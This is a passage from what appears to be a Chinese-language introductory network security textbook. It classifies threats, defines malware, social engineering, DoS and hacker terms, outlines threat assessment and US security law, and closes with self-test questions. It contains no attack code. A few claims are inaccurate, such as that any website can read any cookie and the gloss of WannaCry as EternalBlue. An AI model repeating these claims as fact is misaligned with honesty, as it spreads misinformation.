第二点是依据关于人性的一个事实,即在任何领域绝大多数人都是中等水平。想一想有那么多在健身房接受正规训练的人,成为有竞争力的健美运动员的人却凤毛麟角。在任何领域,大多数参与者都是中等水平。这并不是贬损的话,只不过是生活的一个事实。 这一说法并不意味着轻视黑客攻击的危险,那根本不是我的本意。在没有适当安全防范措施的情况下,即使一个不熟练的新手黑客也能侵入系统。即使准黑客没有成功地攻破安全措施,他仍然相当令人讨厌。此外,某些形式的攻击根本不需要太多技能。本书后面将讨论这些内容。一种更全面的观点(因此,是评估任何系统威胁等级的较好方法)是,在系统对潜在入侵者的吸引程度和系统已采取的安全措施之间进行权衡。正如你将看到的,任何系统的最大威胁并不是黑客,病毒及其他攻击要盛行得多。威胁评估是一项复杂的、需要考虑多方面因素的任务。 1.7 威胁分类 你的网络肯定面临着真实的安全威胁,这些威胁可以以多种形式表现出来。有多种方式可用来对系统的威胁进行分类。可以按照造成的损害、执行攻击所需的技能水平或者攻击背后的动机等进行分类。根据本书的目标,我们按照威胁实际做的事情对其进行分类。基于这个思路,绝大多数攻击都可以归结为如下三大类型之一: 入侵 阻塞 恶意软件 图1-6展示了这三种类型。入侵类型包括那些破坏安全措施并获得系统非授权访问的攻击。该类攻击包括任何旨在获得对系统非授权访问的尝试。这种威胁通常是黑客做的事情。第二类攻击是阻塞,包括那些旨在阻止对系统进行合法访问的攻击。阻塞攻击通常称为拒绝服务攻击(Denial of Service,DoS)。在这种类型的攻击中,攻击的目的不是实际进入你的系统,而是简单地阻止合法用户的访问。 供参考:还有什么其他攻击?第2章介绍的诸如缓冲区溢出(buffer overflow)等攻击可归结为多个威胁类型。例如,缓冲区溢出可用来关闭机器,从而成为阻塞型攻击,也可以用来突破系统的安全措施,因而成为入侵型攻击。但是,攻击一旦实现后,它将确定归属于二者中的某一个类型。第三类威胁是在系统上安装恶意软件(malware)。恶意软件是对具有恶意目的的软件的一个通用术语,它包括病毒攻击、特洛伊木马和间谍软件。由于这类攻击可能是对系统最普遍的威胁,因此我们首先来介绍它。 1.7.1 恶意软件 恶意软件可能是任何系统中最常见的威胁,包括家庭用户系统、小型网络以及大型企业的广域网。之所以如此常见,原因之一是恶意软件通常被设计成自行传播,而不需要恶意软件的创造者直接参与。这使得该种类型的攻击更容易在Internet上传播,因此攻击范围更广。恶意软件中最显而易见的例子就是计算机病毒。你可能对病毒有大概的了解。如果查阅不同的教科书,你可能会发现病毒的定义略有不同。其中的一个定义为:“通过修改其他程序,在其中加入自己可能进化了的副本,来感染其他程序的程序。”这是一个很好的定义,也是本书通篇所使用的定义。计算机病毒类似于生物病毒,既可以复制又可以传播。最常见的传播病毒的方法是使用受害者的电子邮件账号,将病毒传播到他的通讯录中的每个人。有些病毒并不实际危害系统本身,但由于病毒复制引起网络负载加大,因此它们都会造成网络减速或关闭。实践中:真实的病毒第2章和第9章将详细讨论最初的MyDoom蠕虫。MyDoom.BB病毒是2005年初开始传播的MyDoom的一个变种。这种蠕虫以java.exe或services.exe的形式出现在硬盘上。这一点对了解病毒很重要。许多病毒试图以合法的系统文件的面目出现,以防止你删除它们。自那时起,已经出现了很多种病毒,包括著名的Stuxnet(震网)、Flame(火焰)、WannaCry(永恒之蓝)等。这种特殊的蠕虫把自己发送到你的地址簿中的每个人,因此传播非常快。该蠕虫试图下载一个后门程序,从而让攻击者访问你的系统。从技术的角度来看,该蠕虫最有趣的是它如何提取电子邮件地址。该蠕虫使用了一种改进的电子邮件地址识别算法,它可以捕捉到如下电子邮件地址: chuck@nospam.domain.com chuck-at-domain-dot-com 这些地址被蠕虫转换为可用的格式。许多其他的电子邮件提取引擎都被这类电子邮件地址替换所困扰。另一种与病毒密切相关的恶意软件类型是特洛伊木马。这个术语是从古代传说中借用的。在传说中,特洛伊(Troy)城被围困了很长时间,攻击者久攻不下。他们建造了一个巨大的木马(wooden horse),有天晚上将它放在特洛伊城的城门前。第二天早晨,特洛伊城的居民看到了木马,认为这是一件礼物,于是就把木马拉进了城内。他们不知道的是,有几名士兵藏在木马里面。那天晚上,这些士兵们从木马里出来,打开了城门,让他们的同伴攻进城内。一个电子形式的木马以同样的方式工作,它们看起来是良性软件,但却在内部将病毒或其他类型的恶意软件秘密地下载到你的计算机上。简单地说,有一个诱人的礼物,你将它安装在你的电脑上,后来发现它释放了一些非你预期的东西。事实上,在非法软件中更容易发现特洛伊木马。Internet上有很多地方可以获得盗版软件。发现这样的软件实际上是特洛伊木马的一部分并不罕见。特洛伊木马和病毒是两种最常见的恶意软件形式。第三种类恶意软件是间谍软件,它正以惊人的速度增长。间谍软件是一种窥探你在电脑上所作所为的软件。它可以像cookie一样简单,cookie是一个由浏览器创建的并且存储在你硬盘上的文本文件。cookie从你访问的网站下载到你的机器上,当你在之后返回到同一网站时,网站可用它识别出你。这个文件能够让你访问页面更快速,避免频繁访问页面时必须多次输入你的信息。而为了做到这一点,就必须允许网站读取该文件,这就意味着其他网站也可以读取它。该文件保存的任何数据都可以被任何网站检索,所以,你浏览Internet的整个历史都可以被跟踪。另一种形式的间谍软件称为键盘记录器(key logger),它能记录你所有的击键。有的还能周期性地拷贝你的电脑屏幕。然后,这些数据要么被存储起来供记录器的安装者随后进行检索;要么通过电子邮件立即发回给安装者。在任何一种情况下,你在电脑上做的每件事都被记录下来给了感兴趣的人。供参考:键盘记录器尽管我们将键盘记录器定义为一个软件,但需要注意的是,确实存在基于硬件的键盘记录器。基于硬件的键盘记录器比基于软件的键盘记录器要罕见得多。因为软件键盘记录器更容易安装在目标机器上。硬件键盘记录器要求物理接触机器并安装硬件。如果要在计算机用户没有察觉的情况下安装键盘记录器,那么安装物理设备可能相当困难。软件键盘记录器可以通过特洛伊木马进行安装,攻击者与目标计算机甚至不需要在相同的城市。 1.7.2 威胁系统安全—入侵 有人可能会辩解称,任何类型的攻击都旨在破坏安全性。然而,这里的入侵是指那些实际上试图侵入系统的攻击。它们不同于简单地拒绝用户访问系统的攻击(阻塞),或者那些不聚焦于特定目标的攻击,如病毒和蠕虫(恶意软件)。入侵攻击的目的是获得特定目标系统的访问权,通常被称为黑客攻击,尽管这不是黑客自己使用的术语。黑客把这种攻击称为骇客攻击(cracking),表示未经许可侵入系统,并且通常怀有恶意目的。通过某种操作系统缺陷或任何其他手段破坏安全性的攻击都可以归结为骇客攻击。本书的后续内容会介绍一些侵入系统的具体方法。在许多情况下,这类攻击都是利用一些软件缺陷来获得对目标系统的访问。利用安全缺陷并不是侵入系统的唯一方法。事实上,有些方法在技术上更容易实现。例如,社会工程(social engineering)就是一种完全不以技术为基础的破坏系统安全性的方法。顾名思义,社会工程更多依赖于人类本性而不是技术。这是著名的黑客Kevin Mitnick最常用的攻击类型。社会工程使用标准的骗子技巧,使用户提供访问目标系统所需的信息。这种方法的工作原理相当简单。攻击者首先获得关于目标机构的初步信息,比如系统管理员的姓名,然后利用它从系统用户那里获得更多信息。例如,他可能给会计部门的某个人打电话,声称自己是公司的技术支持人员。入侵者可以使用系统管理员的姓名来证实自己说的是实话。之后他可以询问各种问题来了解系统的更多细节。精明的入侵者甚至可以获知用户名和口令。正如你所见,这种方法基于入侵者如何操纵人,而实际上与计算机技能没有什么关系。社会工程和利用软件缺陷并不是进行入侵攻击的唯一手段。无线网络的日益普及引发了新的攻击类型。最明显和最危险的活动是战争驾驶(war-driving)。这种类型的攻击是战争拨号(war-dialing)的衍生物。在战争拨号中,黑客用一台计算机按顺序拨打电话号码,直到另一台计算机响应,然后他尝试进入对方系统。战争驾驶使用了相同的概念,用于定位脆弱的无线网络。在该类攻击中,黑客简单地驾车漫游,试图定位无线网络。许多人忘记了,他们的无线网络信号通常可达100英尺(约30.48米)远,因此可以穿越墙壁。在年度黑客大会DEFCON 2003上,参赛者参加了一场战争驾驶比赛,他们在城市里四处驾驶,试图找到尽可能多的脆弱的无线网络。 1.7.3 拒绝服务 第三类攻击是阻塞(blocking)攻击,其中的一个例子是拒绝服务(Denial of Service,DoS)攻击。在这种攻击中,攻击者并不实际访问系统,而是简单地阻止合法用户访问系统。用计算机应急响应小组协调中心(Computer Emergency Response Team/ Coordination Center,CERT/CC)的话说,“拒绝服务攻击的特点是,攻击者明确地试图阻止服务的合法用户使用该服务。”这里所说的CERT是世界上第一个计算机安全事件响应小组。一种常用的阻塞攻击方法是向目标系统注入大量虚假的连接请求,使得目标系统无暇响应合法请求。DoS是一种非常常见的攻击,仅次于恶意软件。 1.8 可能的攻击 上面我们研究了各种可能的网络威胁。显然,有些威胁比其他威胁更容易发生。那么,个人和机构面临的现实危险是什么?什么是最有可能的攻击?常见的漏洞有哪些?理解现有威胁的基本原理以及它们将给用户和机构带来问题的可能性非常重要。供参考:攻击的可能性特定攻击发生的可能性取决于网络所服务机构的类型。这里给出的数据适用于大多数网络系统。显然,许多因素会影响针对特定系统攻击的可能性,包括系统的宣传效果以及系统上数据的感知价值。因此,在评估对网络的威胁时,一定要谨慎行事。对任何计算机或网络来说,最可能的威胁是计算机病毒。例如,就在2017年10月的一个月内,McAfee列出了31种活跃病毒(https://home.mcafee.com/virusinfo/virus-calendar )。每个月都会有几种新病毒爆发。新的病毒不断被创建,而旧的病毒仍然存在。需要注意的一点是,许多人并没有像他们应该做的那样经常更新防病毒软件。这个事实的证据是,在Internet上传播的许多病毒都已经发布了应对措施,但人们根本没有应用它们。因此,即使病毒已为人所知,并且防御措施已具备,但它依然能广泛传播,原因在于许多人没有定期更新保护措施或清理自己的系统。如果所有的计算机系统和网络都定期更新安全补丁并部署病毒扫描软件,那么就会避免大量病毒的爆发,或者至少能将它们的影响降到最低。阻塞攻击已经成为除病毒外最常见的攻击形式。你在本书后面将学到,阻塞攻击比入侵攻击更容易实现,因此发生得更频繁。一名聪明的黑客可以在Internet上找到工具来帮助他发起阻塞攻击。第2章将介绍更多关于阻塞攻击和恶意软件的内容。无论计算机犯罪的本质是什么,事实就是网络犯罪很普遍。2016年开展的一项计算机犯罪调查发现,32%的机构曾遭受过网络犯罪的影响,一些机构遭受的损失超过500万美元。而只有37%的受访者有充分可行的应急事件响应计划。实践中:什么是“系统滥用”?雇主和雇员对系统滥用(misuse)的看法经常不同。工作场所的所有系统都是雇主的财产。电脑、硬盘,甚至电子邮件都是雇主的财产。美国法律一直认为,雇主有权监控雇员的网络使用,甚至是电子邮件。大多数机构都有严格禁止任何除工作目的外使用计算机设备的政策。Internet连接仅限于与工作相关的使用,而不能用于阅读网站上的头条。有些公司不介意员工在午餐期间将Internet用于个人目的。从安全的角度来看,管理员必须关注员工访问的网站。他们正在下载Flash动画吗?他们正在下载自己的屏幕保护程序吗?下载的任何东西对系统来说都是潜在的威胁。即使没有下载,也存在网站跟踪用户和他们的计算机信息的可能性。从安全角度看,机构外的人对你的网络信息掌握得越少越好。任何一条信息对黑客来说都可能有潜在的用途。正如你将在第4章学到的,许多防火墙解决方案允许管理员阻塞某些网站,这是个经常使用的功能。公司最起码应该有个非常明确的策略,确切地描述哪些活动是允许的,哪些是不允许的。策略中的任何模棱两可都可能会在以后引起问题。在第11章中,你将学习更多关于定义和实现安全策略的内容。 1.9 威胁评估 当试图评估机构的威胁等级时,管理员必须考虑许多因素。第一个因素前面已经提到过,即系统对黑客的吸引力。一些系统吸引黑客是因为其金钱价值。金融机构的系统为黑客提供了诱人的目标。其他系统吸引黑客是因为它们所支持机构的公众形象。黑客被吸引到政府系统和计算机安全网站,仅仅是因为这些系统有很好的宣传效果。如果黑客成功进入其中的一个系统,他将在黑客社区中获得名声和威望。学术机构受到黑客攻击的频率也很高。高中和大学有大量年轻的、精通电脑的学生,这种群体中黑客和潜在黑客的数量可能比一般大众高。此外,学术机构在信息安全方面的声誉不太好。第二个风险因素是系统中信息的性质。如果一个系统拥有敏感或关键的信息,那么它的安全性要求较高。诸如社会保障号、信用卡号和医疗记录等个人数据也有很高的安全要求。拥有敏感的研究数据或机密信息的系统安全要求更高。最后要考虑的因素是系统的流量。对系统进行某种远程访问的人越多,存在的安全隐患就越大。例如,有大量用户从网络外面访问电子商务系统,其中的每个连接都代表着一个危险。相反,如果系统是自包含的,没有外部连接,那么它的安全风险就会减少。综合考虑系统对黑客的吸引力、系统存储信息的性质以及与系统远程连接的数量这几个因素后,管理员可以对系统的安全需求进行完整的评估。下面的数值尺度可以为系统的安全需求提供一个基础概括。考虑了三个因素(吸引力、信息内容和安全设备)。每个因素指派一个1~10的数字。前两个加在一起,然后减去第三个数。最终得分介于-8(极低风险,高安全性)到19(极高风险,低安全性)之间;数值越小系统越安全,数值越大风险越大。对一个系统来说,最好的评级如下: 对黑客的吸引力得分为1(即,系统几乎不为人所知,在政治或意识形态方面没有任何重要性等)。 在信息内容方面得分为1(即,系统不包含机密或敏感数据)。 系统的安全性得分为10(即,系统拥有多层的、主动的安全防御系统,包括防火墙、端口阻塞、防病毒软件、IDS、防间谍软件、合适的策略、所有的工作站和服务器都得到安全加固,等等)。 其中,对吸引力的评估是非常主观的。而评估信息内容的价值或安全等级可以用很粗略但简单的度量来完成。这个系统在第12章将再次提及并进一步扩展。显然,这个评估系统不是一门精确的科学,在某种程度上取决于个人对系统的评价。然而,这种方法确实为评估系统的安全提供了一个起点,当然它不是对安全的最终结论。 1.10 理解安全术语 在计算机安全领域学习时,你必须认识到,这门学科是安全专业人员和业余黑客相互重合的领域。因此,该领域结合了来自这两个领域的术语。本书的词汇表是整个课程中非常有用的参考工具。 1.10.1 黑客术语 我们首先从黑客术语开始。请注意,这些术语不是精确的,许多定义都有争议。不存在官方的黑客词汇表,这些术语都是通过在黑客社区的使用演变而来的。很显然,研究这类术语应该从黑客(Hacker)的定义开始,这是一个在电影和新闻广播中使用的术语。大多数人用它来描述任何闯入计算机系统的人。然而,安全专业人士和黑客自己对这个术语的使用不同。在黑客社区中,黑客是一个或多个特定系统的专家,他们想更深入地了解系统。黑客认为,检查系统的缺陷是了解它的最好方法。例如,一个精通Linux操作系统、通过检查其弱点和缺陷来理解这个系统的人就是一个黑客。然而,这通常也意味着检查是否可以利用一个缺陷来获取系统的访问权。这个过程中的“利用”部分将黑客区分为三类人: 白帽黑客(White hat hackers)发现系统中的漏洞之后,会向系统的厂商报告该漏洞。例如,如果他们发现Red Hat Linux中的某个缺陷,他们就会给Red Hat公司发电子邮件(可能是匿名的),解释缺陷是什么以及如何利用它。 黑帽黑客(Black hat hackers)是通常媒体(如电影和新闻)中描述的黑客。它们在进入系统之后,目标是造成某种类型的损害。他们可能窃取数据、删除文件或破坏网站。黑帽黑客有时被称为骇客。 灰帽黑客(Gray hat hackers)通常是守法的公民,但在某些情况下会冒险从事非法活动。他们这样做可能是因为各种各样的原因。通常,灰帽黑客会出于他们认为的道德上的原因进行非法活动,比如入侵一个他们认为从事不道德活动的公司的系统。请注意,在许多教科书中都找不到这一术语,但它在黑客社区内部却是一个常用术语。 不管黑客如何看待自己,未经许可侵入任何系统都是非法的。这意味着,从技术上来说,所有的黑客,不管他们隐喻上戴着什么颜色的“帽子”,都在违反法律。然而,许多人认为,白帽黑客实际上是通过在有道德缺陷的人利用漏洞之前,发现缺陷并告知厂商来为社会提供服务的。了解各种黑客类型只是学习黑客术语的开始。回想一下,黑客是一个特定系统的专家。如果是这样,那么对于那些自称是黑客却缺乏专业知识的人,又使用什么术语呢?对一个没有经验的黑客最常用的术语是脚本小子(script kiddy)。该名字来源于这样一个事实:Internet上充斥着大量可以下载的实用程序和脚本,人们可以下载并执行一些攻击任务。那些下载这些工具而没有真正理解目标系统的人被认为是脚本小子。实际上,相当多的自称为黑客的人只不过是脚本小子。现在介绍一种特殊类型的黑客。骇客是指那些以危害系统安全为目标,而不是以了解系统为目标的人。黑帽黑客与骇客之间没有区别。这两个术语都是指破坏系统安全、在没有得到相关机构许可的情况下侵入系统、带有恶意目的的人。什么时候以及什么原因会有人允许另一团体来攻击/破解一个系统呢?最常见的原因是评估系统的脆弱性。这是黑客的另一种特殊类型—道德黑客(ethical hacker)或思匿客(sneaker)(一个很老的术语,现在不经常使用),他们是合法地攻击/破解系统以评估安全缺陷的人。1992年Robert Redford、Dan Aykroyd以及Sydney Poitier主演了一部关于这个主题的电影,名为《Sneakers》。现在,有从事这种类型工作的顾问,你甚至可以找到专门从事这种活动的公司,因为有越来越多的公司使用这种服务来评估他们的脆弱性。今天,这类人通常称为渗透测试者(penetration tester),或简单地称为pen tester。自本书发布第一版以来,这个职业已经成熟。对那些正在考虑成为渗透测试者或聘请渗透测试者的读者,本书给你一个忠告:雇佣来评估系统脆弱性的任何人都必须技术精湛并且道德高尚。这意味着在安排他的服务之前应该对其进行犯罪背景审查。你肯定不想雇佣一个被定过罪的强盗来当你的守夜人。你也不应该考虑雇佣任何有犯罪前科的人,尤其是有计算机犯罪前科的人,来作为渗透测试者或道德黑客。有些人可能会争辩说,有前科的黑客(骇客)拥有最佳的资格来评估你的系统漏洞。但事实并非如此,理由如下: 你可以找到一些既知道和理解黑客技能又从未犯过任何罪的合法安全专业人员。你可以得到评估系统所需的技能,而不必使用一个已知存在缺陷的顾问。 如果你争辩说雇用有犯罪前科的黑客意味着雇佣了有天赋的人,那么你可以推测,这个人并没有想象中那么好,因为他曾被抓住过。 最重要的是,让一个有犯罪前科的人访问你的系统,就像雇佣一个多次犯酒驾罪的人作为你的司机。在这两种情况下,你都是在惹祸,而且可能会招致重大的民事和刑事责任。此外,建议对渗透测试者的资格进行全面审查。正如一些人会谎称自己是黑客高手一样,有人会谎称自己是训练有素的渗透测试员。一个不合格的测试员可能会称赞你的系统,而实际上是因为他没有能力,不能成功地攻破你的系统。第12章将讨论评估目标系统的基本知识,以及为此目的所聘请顾问的必要资格。黑客攻击的另一个专业分支是攻入电话系统。这个子领域称为飞客攻击(phreaking)。新黑客词典(New Hackers Dictionary)实际上把飞客攻击定义为“为了不支付某种电信账单、订单、转账或其他服务,而采取恶作剧的大部分是非法的行为”(Raymond,2003)。飞客攻击需要相当丰富的电信知识,许多飞客(phreaker)都有为电话公司或其他电信企业工作的专业经验。这种类型的行为通常依赖于攻击电话系统的专门技术,而不是仅仅了解某些技术。例如,需要用某些设备攻击电话系统。电话系统往往依赖于频率。如果你有一个按键电话,你会注意到,当你按下按键时,每个按键都有不同的频率。记录和复制特定频率的机器对于飞客攻击来说常常是必不可少的。 1.10.2 安全术语 安全专业人员也有特定的术语。任何受过网络管理培训或有过网络管理经验的读者可能都已经熟悉了其中的大部分。虽然大多数黑客术语是描述活动或执行它的人(飞客攻击、思匿客等),但本书中的许多安全术语是关于设备和策略的。这相当合理,因为攻击是以攻击者和攻击方法为中心的攻击性活动,而安全是与防御屏障和防御过程相关的防御性活动。第一个也是最基本的安全设备是防火墙(firewall)。防火墙是处于网络和外部世界之间的一个屏障。有时防火墙是一个独立的服务器,有时是一台路由器,有时是在机器上运行的软件。不管它们的物理形式是什么,其目的都是一样的:过滤传入和传出网络的流量。防火墙与代理服务器(proxy server)相关,并且经常与代理服务器一起使用。代理服务器能向外界隐藏内部网络的IP地址,使网络对外表现为单一的IP地址(代理服务器自己的IP地址)。防火墙和代理服务器被添加到网络中后,可以为网络提供基本的边界安全防御。他们过滤入站和出站的网络流量,但不影响网络中的流量。有时要在防火墙上增加入侵检测系统(Intrusion Detection System,IDS)来增强防护能力。入侵检测系统监视流量,以查找可能标识具有入侵企图的可疑活动。访问控制(Access control)是另一个重要的计算机安全术语,在后面几章中你会对它特别感兴趣。访问控制是为限制资源访问所采取的所有方法的总和,包括登录过程、加密以及旨在防止未授权人员访问资源的任何方法。认证(Authentication)是访问控制的一个子集,可能是最基本的安全活动。认证是确定用户或其他系统所提供的凭证(如用户名和口令)是否被授权访问所涉及网络资源的过程。当用户以用户名和口令登录时,系统尝试验证用户名和口令。如果认证通过,则用户将被授权访问。不可否认性(Non-repudiation)是另一个计算机安全中常遇到的术语。它是指任何用来确保在计算机上执行某一动作的人不能虚假地否认他曾执行过该动作的技术。不可否认性提供用户在特定时间采取特定行动的可靠记录。简而言之,它是跟踪什么用户采取什么行动的方法。各种系统日志都提供了一种不可否认性的方法。审计(auditing)是最重要的安全活动之一,它是审阅日志、记录和程序以确定它们是否符合标准的过程。本书很多章节都涉及这一活动,在第12章会重点介绍。审计十分关键,因为检查系统是否采取了适当的安全措施是确保系统安全的唯一途径。最小权限(Least privileges)是你在向任何用户或设备分配权限时应该记住的一个概念。这个概念的含义是,你只赋予一个人完成他的工作所需的最低限度的权限。要记住这个简单却很关键的概念。你还应该记住CIA三角形(CIA triangle),即机密性(Confidentiality)、完整性(Integrity)和可用性(Availability)三个特性。所有的安全措施都应该影响这三者之中的一个或多个。例如,硬盘驱动器加密以及良好的口令有助于保护机密性。数字签名有助于确保完整性,好的备份系统或网络服务器冗余可以支持可用性。可以编写一本完整的书来介绍计算机安全术语。上面介绍的这几个术语应用很普遍,熟悉它们非常重要。本章末尾有一些练习将帮助你扩展关于计算机安全术语的知识。下面这些链接也很有帮助: 美国网络安全职业和研究术语表: https://niccs.us-cert.gov/glossary SANS安全术语表:https://www.sans.org/security-resources/glossary-of-terms/ NIST关键信息安全术语表: http://nvlpubs.nist.gov/nistpubs/ir/2013/NIST.IR.7298r2.pdf 供参考:审计与渗透测试渗透测试者使用的测试过程实际上是一种特殊类型的审计。你可能想知道渗透测试和审计有什么区别。普通的审计与渗透测试的区别在于其方法不同。普通的审计通常包括检查法律、法规和标准的遵守情况,而渗透测试则试图攻破系统以评估其安全性。传统的审计包括查看日志、检查系统设置、确保安全符合某个特定的标准。而渗透测试者则简单地试图攻入系统。如果能成功的话,他们会记录他们是如何做的,并说明如何阻止别人做同样的事情。 1.11 选择网络安全模式 机构可以从几种网络安全模式(approach)中进行选择。特定的模式或范型(paradigm)将影响所有后续的安全决策,并为整个机构的网络安全基础设施设置基调。网络安全范型既可以按照安全措施的范围(边界、分层)来分类,也可以按照系统的主动性程度来分类。 1.11.1 边界安全模式 在边界安全(Perimeter Security)模式中,大部分的安全工作都集中在网络的边界上。这种聚焦在网络边界的工作可能包括防火墙、代理服务器、口令策略以及任何使网络非授权访问变得不太可能的技术或程序,而针对网络内部系统安全的工作极少或根本没有。在这种方法中,边界是被保护的,但边界内部的各种系统往往是很脆弱的。边界安全模式显然存在缺陷。但为什么有些公司使用它呢?预算有限的小公司或缺乏经验的网络管理员可能会使用边界安全模式。对于那些不存储敏感数据的小型机构来说,这种模式或许已经足够了,但对较大的公司却不太有效。 1.11.2 分层安全模式 分层安全(Layered Security)模式是一种不仅要保护边界的安全,而且要保护网络内部各个系统安全的模式。网络中的所有服务器、工作站、路由器和集线器都是安全的。实现该模式的一种方法是将网络划分成段,并将每个段作为单独的网络进行保护。这样,如果边界安全被突破,那么并不是所有的内部系统都会受到影响。只要条件允许,分层安全模式是首选模式。还可以用主动和/或被动的程度来评估安全模式。这可以通过度量系统的安全基础设施和策略中有多少专门用于预防措施,有多少专门用于攻击发生后对攻击的响应来实现。被动安全模式很少或没有采取措施来防止攻击。相反,动态安全模式,或称主动防御,则在攻击发生之前采取一些措施防止攻击的发生。主动防御的一个例子是使用IDS,它用于检测规避安全措施的企图。一个破坏安全的企图即使没有成功,IDS也会告诉系统管理员该企图的发生。IDS还可以用于检测入侵者使用的攻击目标系统的各种技术,甚至能在攻击发起之前警告网络管理员潜在攻击企图的存在。 1.11.3 混合安全模式 在现实世界中,网络安全很少完全采用一种模式或另一种模式。网络通常采用多种安全模式中的多种因素。上述两种分类可以结合起来,形成混合模式。一个网络可以主要是被动的,但同时也是分层的安全模式,或者主要是边界安全模式,但同时也是主动的。考虑使用笛卡儿坐标系描述计算机安全的方法,其中,x轴表示方法的被动/主动水平,y轴描绘从边界防护到分层防护的范围,这种表示有助于理解该方法。最理想的混合模式是动态的分层模式。 1.12 网络安全与法律 越来越多的法律问题影响着管理员如何管理网络安全。如果你所在机构是一家上市公司、一家政府机构,或者与它们有生意往来的机构,那么如何选择你的安全模式可能存在法律上的约束。法律约束包括影响信息如何存储或访问的任何法律。Sarbanes-Oxley(本章后面将详细讨论)就是一个例子。即使你的网络在法律上不受这些安全指南的约束,但了解影响计算机安全的各种法律,并得出可能适用你自己安全标准的想法也是有用的。在美国,影响计算机安全的、最古老的立法之一是颁布于1987年的计算机安全法案(Computer Security Act of 1987)(1987,第100届国会)。该法案要求政府机构确定敏感系统、进行计算机安全培训,并制定计算机安全计划。由于该法律要求美国联邦机构在没有规定任何标准的情况下建立安全措施,因此是一个模糊的命令。这项立法建立了制定具体标准的法律授权,为未来的指南和规则铺平了道路。也有助于定义某些术语,如根据立法中的下述论述,可以确定什么信息是“敏感的”:Sensitive information is any information, the loss, misuse, or unauthorized access to or modification of which could adversely affect the national interest or the conduct of Federal programs, or the privacy to which individuals are entitled under section 552a of title 5, United States Code (the Privacy Act), but which has not been specifically authorized under criteria established by an Executive order or an Act of Congress to be kept secret in the interest of national defense or foreign policy. 记住这个定义,因为不仅仅是社会保障信息(Social Security information)或病例(medical history)需要安全保护。当考虑哪些信息需要安全保护时,只需简单地问一个问题:这些信息的非授权访问或者修改会对我的机构产生不利影响吗?如果答案是“是”,那么就必须认为该信息是“敏感”的,需要安全防范措施。另一个更具体的、适用于政府系统强制安全的联邦法律是OMB Circular A-130(具体来说,是附录3)。该文件要求联邦机构建立包含特定要素的安全程序。该文件描述了制定计算机系统标准的要求以及政府机构持有记录的要求。美国大多数州都有关于计算机安全的具体法律,比如佛罗里达州的计算机犯罪法案(Computer Crimes Act of Florida)、阿拉巴马州的计算机犯罪法案(Computer Crime Act of Alabama)和奥克拉荷马州的计算机犯罪法案(Computer Crimes Act of Oklahoma)。任何负责网络安全的人都有可能参与犯罪调查。可能是对黑客攻击事件的调查,也可能是对员工滥用计算机资源的调查。无论是什么性质的犯罪引起的调查,清楚你所在州的计算机犯罪法律是非常重要的。在http://www.irongeek.com/i.php?page=computerlaws/state-hacking-laws 上列出了各州适用于计算机犯罪的法律。该列表来自高级实验室工作站(Advanced Laboratory Workstation,ALW)、美国健康研究院(National Institutes for Health,NIH)和信息技术中心(Center for Information Technology)。请记住,任何规范隐私的法律,如健康保险流通与责任法案(Health Insurance Portability and Accountability Act, HIPAA)涉及医疗记录,都对计算机安全有直接影响。如果一个系统被攻破,并且隐私法规所涵盖的数据受到损害,可能你就需要证明自己履行了保护这些数据应尽的职责。如果发现你没有采取适当的预防措施,就会导致承担民事责任。与商业网络安全相关度更高的法律是Sarbanes-Oxley,常被称为SOX(http://www.soxlaw.com/ )。该法律规定了公开上市交易的公司如何存储和报告财务数据,其中保护这些数据的安全是很重要的一部分。显然,全面介绍这个法律已经超出了本章范围,甚至超出了本书范围。值得指出的是,网络安全除了是一门技术学科外,还必须考虑商业和法律后果。 1.13 使用安全资源 在阅读本书或进入专业世界时,你经常需要一些额外的安全资源。本节介绍一些最重要的资源,以及那些对你来说可能很有用的资源。 CERT(www.cert.org/ )。CERT代表卡内基梅隆大学发起的计算机应急响应小组(Computer Emergency Response Team, CERT)。CERT是第一个计算机应急事件的响应队伍,目前仍然是业界最受尊敬的组织之一。任何对网络安全感兴趣的人都应该定期访问它的网站。网站上有丰富的文档,包括安全策略指南、前沿安全研究、安全警报以及其他更多内容。 微软安全技术中心(https://technet.microsoft.com/en-us/security )。这个站点特别有用,因为有太多的计算机运行微软的操作系统。这个网站是所有微软的安全信息、工具和更新的门户。微软软件的用户应该定期访问这个网站。 F-安全公司(F-Secure Corporation, www.f-secure.com/ )。除了其他内容之外,这个网站是一个关于病毒爆发详细信息的存储库。在这里你能找到关于特定病毒的通知和详细信息。这些信息包括病毒如何传播、识别病毒的方法以及清除特定病毒感染的具体工具。 F-安全实验室(www.f-secure.com/en/web/labs_global/home )。 美国系统网络安全协会(www. sans.org/ )。该网站提供计算机安全几乎所有方面的详细文档。SANS研究所还赞助了许多安全研究项目,并在其网站上发布有关这些项目的信息。 1.14 本章小结 对网络的威胁在日益增长。我们看到越来越多的黑客攻击、病毒以及其他形式的攻击。危险在增大,同时法律压力(如HIPAA和SOX)也在增大,因此网络管理员的网络安全需求在日益增长。为了满足这一需求,你必须全面理解你的网络存在的威胁,以及你可以采取的对策。这要从对网络威胁的现实评估开始。本章介绍了网络安全的基本概念、威胁的一般分类以及基本的安全术语。后续章节将详细阐述这些信息。 1.15 自测题 1.15.1 多项选择题 1.下列哪项不是威胁的三种主要类型之一? A.拒绝服务攻击 B.计算机病毒或蠕虫 C.实际入侵系统 D.网络拍卖欺诈 2.下列哪一个是病毒最准确的定义? A.通过电子邮件传播的任何程序 B.携带恶意负载的任何程序 C.任何自我复制的程序 D.任何可能破坏你系统的程序 3.如果一个观点过于谨慎,是否有什么理由不采取这个极端的安全观点? A.不,没有理由不采取如此极端的观点 B.是的,这可能导致资源浪费在不太可能的威胁上 C.是的,如果你准备犯错误,那么假设几乎没有什么现实威胁 D.是的,这需要你提高安全技能,以便实施更严格的防御 4.什么是计算机病毒? A.任何未经你的许可下载到你系统中的程序 B.任何自我复制的程序 C.任何对你的系统造成伤害的程序 D.任何可以更改Windows注册表的程序 5.下面哪个是间谍软件的最好定义? A.任何记录击键的软件 B.任何用于收集情报的软件 C.任何监视你的系统的软件或硬件 D.任何监视你访问哪些网站的软件 6.下列哪一项是道德黑客术语的最佳定义? A. 一个攻击系统却没被抓住的业余爱好者 B. 一个通过伪造合法口令来攻击系统的人 C. 一个为测试系统漏洞而攻击系统的人 D. 一个业余黑客 7.描述攻击电话系统的术语是什么? A. Telco-hacking B. Hacking C. Cracking D. Phreaking 8.下列哪一个是恶意软件的最佳定义? A. 具有恶意目的的软件 B. 自我复制的软件 C. 损害你系统的软件 D. 系统中任何未正确配置的软件 9.下列哪一项是战争驾驶的最佳定义? A. 在攻击和搜索计算机作业时驾驶 B. 在使用无线连接进行攻击时驾驶 C. 驾车寻找可攻击的无线网络 D. 驱车并寻找黑客对手 